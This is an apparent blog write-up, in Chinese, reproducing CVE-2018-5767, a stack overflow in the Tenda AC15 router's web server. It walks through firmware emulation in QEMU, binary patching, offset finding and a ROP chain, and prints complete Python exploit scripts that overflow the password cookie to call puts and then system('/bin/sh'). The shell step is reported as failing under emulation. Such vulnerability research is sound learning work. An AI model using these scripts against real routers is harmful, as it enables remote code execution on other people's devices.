1. 前言
CVE-2018-5767是Tenda-AC15路由器所产生的漏洞,由于未对用户的输入进行合理的限制,直接使用了sscanf函数拷贝到栈上,从而导致了栈溢出的情况。
2. 实验环境
Ubuntu 16.04
GDB调试器
路由器固件:Tenda AC15 15.03.1.16_multi
固件下载地址
https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1
3. 固件模拟
使用binwalk分离固件系统,在分离过程中可以看出是小端序
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
通过对squashfs-root
文件系统中的/bin/busybox
查看可得,程序为ARM架构
其实在文件系统中选哪个可执行文件都无所谓,这里的buxybox选取也只是方便。busybox是一个集成了一百多个常用Linux命令和工具的软件,在嵌入式Linux应用中,busybox应用非常广泛,同时大多数Linux发行版的安装程序中都含有busybox。
这里采用qemu配合chroot命令来启动./bin/httpd文件
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以 /,即以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为 / 位置。
运行后程序启动失败,输出下列错误
connect: No such file or directory
Connect to server failed.
connect cfm failed!
不太清楚是不是环境有问题,第一次调试的时候程序直接断在了Welcome to ...那里,后面反而没有这个问题了,不过这里也写下解决方法
IDA搜索WeLoveLinux字符串,查找索引
共计三处索引和WeLoveLinux相关,先看第一处
R3小于等于0陷入死循环,patch掉给R3赋值那行即可
MOV R3, R0
MOV R3, 1
保存patch后的文件
Edit --> Patch program --> Apply patches to input file...
覆盖原httpd文件,赋予权限后,再次运行
再次报错,R3等于0时走左侧,程序结束,同样的方法patch掉
覆盖掉再次运行,成功模拟到环境
这里的IP如果没有模拟br0的话,会是一个随机IP,由于我提前配好了环境,所以直接成功了。这里我们来看下br0网卡的配置
sudo apt install uml-utilities bridge-utils
# /etc/network/interfaces
auto ens33
iface ens33 inet manual
up ifconfig ens33 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0
# /etc/qemu-ifup
#! /bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 3
# /etc/qemu-ifdown
#! /bin/sh
# Script to shut down a network (tap) device for qemu.
# Initially this script is empty, but you can configure,
# for example, accounting info here.
:
配置成功后,ens33地址应该已经不显了,br0成功配置IP
当然,如果这些配置不成功的话,可以去网上找找资料。环境配的时间太久了,已经记不清当初怎么配的了。。。
4. 漏洞利用
根据CVE公布的poc可知,漏洞位于R7WebsSecurityHandler
函数中,未对用户的请求进行合理的限制直接只用sscanf函数将用户的输入复制到栈上。
想要到达溢出点,我们只需满足上面的if条件判断即可
从if中可以看出,我们只需要构造一个不在上述路径之内的一个虚假路径即可,比如/goform/helloworld
import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)
修改程序启动命令
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
使用gdb-multiarch调试程序,gdb-multiarch是一种支持调试多种架构程序的gdb
gdb-multiarch ./bin/httpd
target remote :1234
b *0x002ED18
continue
断点位置在R7WebsSecurityHandler
函数的正常退出点
运行脚本,程序没有正常断在函数结束处
使用bt查看调用路径,0x2c5cc
在溢出后被执行
此时说明0x2c5cc
处的函数影响了我们程序的正常执行,回到漏洞函数分析可知。如果我们的请求中包含如下几种字样之一就可以直接令漏洞函数返回,比如".png"
修改python脚本,重新执行
import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400+".pngAAA"}
requests.get(url=URL, cookies=cookie)
成功执行到函数结束
ni,单步执行
执行后发现填充的字符串最低位和往常不太一样,被置0了。按照师傅的解释,是因为arm模式与thumb模式的切换问题。在函数退出时执行了pop pc的操作,而最低有效位(LSB)将会被写入到CPSR寄存器的T位中,而pc本身的最低位则会被置零。
下面的流程涉及到了rop链的利用等等,这点我也不熟悉,所以下面的流程我会直接按照师傅的解释来。
pwntools的checksec模块,查看下httpd的保护机制,可以看到httpd开启了NX保护机制
因为httpd开启了NX保护机制的原因,所以我们需要构造rop链来完成利用。使用ropper工具从/lib/libc.so.0中查找所要用到的gadget,同时因为QEMU未开启基址随机化,因此我们可以在gdb中使用vmmap命令找到libc的基址从而计算出我们需要的gadget。
这两条指令的选取需要对应,即mov r3、pop r3,虽然不太清楚为啥。。。猜测是blx跳转指令集的原因,跳转后应该还是要pop回来的。
0x00040cb8 mov r0, sp; blx r3;
0x00018298 pop {r3, pc};
编写exp时我们还需要libc的基址,这里使用gdb中的vmmap。使用vmmap的前提是我们的程序需要处于运行状态,即如下状态。
下完断点,输入continue运行后,程序会保持运行态。这时运行脚本,程序就会成功断在断点处,我们可以开心的输入vmmap查看基址了。
另外,这里为了防止跑飞,断点我选在了R7WebsSecurityHandler
函数退出的前几行b *0x002de94
运行vmmap后,我们可以看到我们的libc基址如下(每个人的基址可能都不相同,因此需要自己查一下)
另外,关于两段gadget也可以在IDA中看到
5. EXP
import requests
from pwn import *
base = 0xf65e5000
libc = ELF('./lib/libc.so.0')
puts = base+libc.sym['puts']
_str = "Hello\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)
程序运行结束,成功输出hello
6. 关于偏移
关于最终脚本中的偏移,大家可能会有些疑问,在这里简单解释下。
为了方便计算偏移,这里我采用了pwntools中的cyclic小工具,首先cyclic 1024
,生成1024个随机数
接着,我们在第二个脚本基础上修改下
import requests
URL = "http://192.168.7.44:80/goform/helloworld"
alloc = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak"
cookie = {"Cookie":"password="+alloc+".png"}
requests.get(url=URL, cookies=cookie)
其实就是将脚本填充的0x400个a给改为了这串字符而已。
然后,用上面同样的方法去运行我们的程序
在这里大家可以看到,我们溢出的字符最后的是paae
,这个字符所代表的位置就是我们的偏移,也就是460
到了这里脚本中的偏移地址就很好理解了
444*a
4位的".png"
4位的pop_r3
4位的puts
4位的mov_r0
之所以是4位也很好理解,32位程序嘛,栈空间中自然是4位4位的相加啦。
计算一下就会发现,我们最终的结果就是444+4+4+4+4=460
是不是和我们上面的偏移相等呢。
7. 关于getshell
单纯执行puts输出只是为了验证漏洞存在与否,真正利用的话,我们还是需要利用system来执行命令。
import requests
from pwn import *
base = 0xf65e5000
libc = ELF('./lib/libc.so.0')
system_addr = base+libc.sym['system']
_str = "/bin/sh\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(system_addr)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)
这里修改脚本,通过libc基址查找system函数并调用,相同的方法运行
在这里可以看到我们的system函数确实被调用了,并且写入了/bin/sh
,但是真正执行下去发现没个锤子用。。。。
当场宣告GG,但是我贼心不死,查找多方攻略后,看到有师傅这样写
很好,我也来试下
继续修改脚本
import requests
from pwn import *
base = 0xf65e5000
libc = ELF('./lib/libc.so.0')
#system_addr = base+libc.sym['system']
system_addr = 0xf67560f4
_str = "/bin/sh\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(system_addr)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)
很好,再次宣告失败。。。。
呼~~~冷静,不生气,让我再去找些参考资料回来
多方查找发现并没有解决办法,有个师傅猜测是qemu模拟环境的问题,导致找不到/bin/sh
。。。
贫穷使我命途多舛,穷人家的孩子买不起设备,告辞。或许以后摸到了设备可能会再来更新这篇帖子,所以~~~
未完待续。。。
8. 参考链接
https://mp.weixin.qq.com/s/mRq3n3jDM0zvR15JAsLYSA
https://p1kk.github.io/2021/03/29/iot/Tenda%20AC15%20CVE-2018-5767%20CVE-2020-10987/
https://wzt.ac.cn/2019/03/19/CVE-2018-5767/